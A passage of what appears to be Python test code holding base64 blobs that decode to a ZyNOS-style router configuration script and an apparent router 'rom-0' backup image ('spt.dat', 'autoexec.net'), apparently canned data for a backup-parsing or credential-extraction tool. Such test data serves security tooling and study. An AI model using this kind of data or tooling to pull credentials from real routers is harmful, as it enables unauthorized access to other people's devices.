AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc3lzIGZlYXR1cmUgdHIwNjkgMQpzeXMgZXJyY3RsIDANCnN5cyB0cmNsIGxldmVsIDUNCnN5cyB0cmNsIHR5cGUgMTE4MA0Kc3lzIHRyY3AgY3IgNjQgOTYNCnN5cyB0cmNsIHN3IG9mZgpzeXMgdHJjcCBzdyBvZmYKaXAgdGNwIG1zcyA1MTINCmlwIHRjcCBsaW1pdCAyDQppcCB0Y3AgaXJ0dCA2NTAwMA0KaXAgdGNwIHdpbmRvdyAyDQppcCB0Y3AgY2VpbGluZyA2MDAwDQppcCByaXAgYWN0aXZhdGUNCmlwIHJpcCBtZXJnZSBvbg0KaXAgaWNtcCBkaXNjb3ZlcnkgZW5pZjAgb2ZmCnBwcCBpcGNwIGNvbXByZXNzIG9mZgpzeXMgd2RvZyBzdyBvbgpzeXMgcXVpY2sgZW5hYmxlCndhbiBhZHNsIHJhdGUgb2ZmCmYKZQp3YW4gYWRzbCByYXRlIG9mZgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w==") response = b64decode(b"AQEAARlIZGJnYXJlYQAAAAAAAAAYAAAAAUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACcQADH/xib290AAAAAAAAAAAAAAAgAAwBSHNwdC5kYXQAAAAAAAAAGrAP6AFoYXV0b2V4ZWMubmV0AAAB9AFaHBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADO7dvbAAMACQAABmwIAADJZztbbbAADAAJAAAAxswhiLAhhNJyNhpOxlxTgf//E6GMADEbDDef/+OBwA7zyOB1MUIw6Bgf8tB//94E9vn/dAWS+MD/////+wBfsIj/+IY3/5P/r//xgf///////////////////////9A8iPyosmBhiORkLhoMxcMhoNBcMRxnfLA+QExfkAArjOC+I4oYjlDiOIuIA5jPDAw1zHYz4wP/////////////////60kkGAB4RmQFkCM7/////////////////3gACAAASIxX//////////////////////////////////////////////////////////////////////////////////////////+GAAgAALsAYH///////////////////kBxtgIAAMYUAKAjf/////////////////4gaMCASMVAAwRiv///9A/hAQBiZhQZGAnG8yGUY+/cq4H/jRf9STHA/QLAACyv1gf////YEgAC+vwGAAEABAONAeHoU37gf/////xEEIL/jQf84H///////////////////+mHHGpUqACkTsIP/A+eO+MD+7mwPpN4/88ds/OZb4gAQ5ZwlgbEeGB+5phNO8sACAAAdM/94H//1hmEIzywP//1Dk98gdD//6wP////////////7Yq/60X/mB/AVLUAjmPzA////+dkz8/P////ngf////////////////////////8TIACFZM2qSWTP/////xwP////////+Fkz////////////2wACAAATY8////6WTP///////////////////////////////////////+AVkz//////////////////////////////////////////////6wACAAAUwBgf////////////////////////AyAAhSJ4AgAB2TP/////////////////////////////////////////////////////////////////7wACAAAUb//////+FkzxAlkz///////////////////////////////////////////////////////////////////////0C2TP/////////////1wAAgAAHgAYH7f+Bcv6Y31wP//////////////+gHir/9aL/vA/gKAACCOY/MD////5gmcw4HhgABAAQDjAHh7Idgf////////////////////////////9TIACFKVpUoBrJn////////////////////////////////+2AAIAABarE//rZM////////////////////////////////////8